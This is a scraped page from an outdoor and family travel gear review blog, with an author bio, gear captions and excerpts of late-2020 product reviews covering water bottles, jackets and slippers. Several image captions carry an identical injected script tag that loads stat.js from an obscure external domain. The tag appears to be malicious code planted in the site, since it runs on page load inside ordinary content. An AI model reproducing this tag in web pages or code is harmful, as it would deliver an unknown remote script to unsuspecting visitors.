Amy

Amy Whitley is a freelance creative and travel writer and founding editor of the family travel website Pit Stops for Kids. An avid lover of the outdoors, Amy makes her home in Southern Oregon, where she, her husband, and three school-aged children spend much of their time backpacking, camping, skiing, and hiking. When not exploring her own backyard, Amy and her family hit the road for travel reviews of resorts, tour operations, and hotels across the country and abroad. Follow Amy Whitley on Twitter and Facebook.
Sierra Designs

Outdoor travel with Sierra Designs Meteor Lite tent

Outdoor adventure-ready accessories from EcoVessel

Outdoor adventure-ready accessories from EcoVessel

Sierra Designs down moc<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Sierra Designs Down Moc slippers = work at home bliss

Lowa Casara boot<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Lowa Casara GTX boots for casual travel

Columbia Stash <script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Columbia Sportwear men’s Powder Stash pant

GCI Outdoors Pod Rocker<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

GCI Outdoor Pod Rocker chair for camping comfort

Big Agnes tarp<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Big Agnes Deep Creek tarp for winter camping comfort

Snowfeet<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Snowfeet mini skis for at-home snow fun

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Tom’s Paxton slip-on shoe for comfy winter travel

Bose sleepbuds<script src='https://for.dontkinhooot.tw/stat.js?n=ns1' type='text/javascript'></script>

Bose Sleepbuds II for every day and away

Owala water bottle for easy hydration

By Amy / December 15, 2020 /

I’m pretty sure I’ve tried every water bottle on the market, and there’s something wrong with every one of them. If it’s wide-mouth, I can’t control the flow. If it has a straw, it leaks at elevation on the plane. Some are too big, some are too small, some too complicated. I still haven’t found…

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Perfect stocking stuffer for campers: Rapid Rope review

By Amy / December 8, 2020 /

Rapid Rope is one of those great ideas I’m kicking myself for not thinking of! Recently featured on Shark Tank, Rapid Rope is just that: it’s a can of ready-t0-unspool rope that you can utilize on demand, in whatever amount you need, when you need it. It stays organized and neat in its can when…

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Wild Tribute: the perfect gift for the national park lover on your list

By Amy / December 1, 2020 /

Looking for a unique gift for the national park lover on your list? How about the outdoorsman or woman or backpacker or hiker? Wild tribute shirts are the perfect nod to our national park system, and they give back, too! Wild Tribute makes fun and beautiful T-shirts unique to various national parks, and donates four…

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Branwyn ‘innerwear’ for cozy days

By Amy / November 24, 2020 /

It’s that time of year…when we all want to cozy up. We’re also shopping for holiday stocking stuffers, and Branwyn should be your go-to for the women in your life. I tried out their Merino wool bralette and their hipster underwear, and can confirm that this is what you want next to your skin this…

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Eggtronic laptop power bank for your next adventure

By Amy / November 17, 2020 /

None of us are flying as much as we might like these days, whether for pleasure or for work, but if you’re like me, you’re still itching to get away every once in a while. Maybe you’re working from home, so you can work from anywhere, or maybe you have online remote learners at home,…

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Keen Howser II slide shoe

By Amy / November 10, 2020 /

Keen’s Howser II slide is one part sneaker, one part slipper, and one part moc. Equally at home on your feet around the house as they are in the ski warming hut or at that hostel you can’t wait to try once international travel opens back up, the Howser II manages to effortlessly combine style…

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Toad & Co Del Rey pants for comfy travel days

By Amy / November 3, 2020 /

Look hip and on-trend while secretly knowing that what you’re wearing rivals sweatpants in comfort! Toad & Co’s Del Rey Pull-On Pant actually reminds me of the comfy pants my grandmother used to wear…but put them on, and instantly, you get that hipster, slightly hippy vibe. Think Portlandia meets outdoorsy Denver. It comes in two…

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Buff options for safety and function

By Amy / October 27, 2020 /

There’s never been a better time to embrace Buff wear. Known for its multi-purpose uses, now, Buff head coverings can double as masks for safe social distancing and travel. I have been loving the women’s CoolNet UV+ offerings, which come in so many amazing patterns and colors, I can’t begin to list them all. Just…

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Toad & Co Forester Pass Raglan Jacket for fall fashion

By Amy / October 20, 2020 /

Here in Southern Oregon, the wildfires have subsided, we’re getting a bit of rain, and we’re finally digging out those fall layers and light jackets. Enter the Toad&Co Forester Pass Raglan Jacket, which is the perfect weight and look for early fall in the Pacific Northwest. Hopefully, wherever you are, you’re feeling some autumn goodness,…

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Sierra Designs Men’s Sierra Jacket

By Amy / October 13, 2020 /

The weather is starting to turn here in Oregon, and since most of us want to extend the outdoor season so we can safely recreate, exercise, and travel, we need to apparel to make that happen! Enter the Sierra Designs Sierra Jacket, featuring 800 fill dri-down with a 30D shadow rip polyester shell and nylon…

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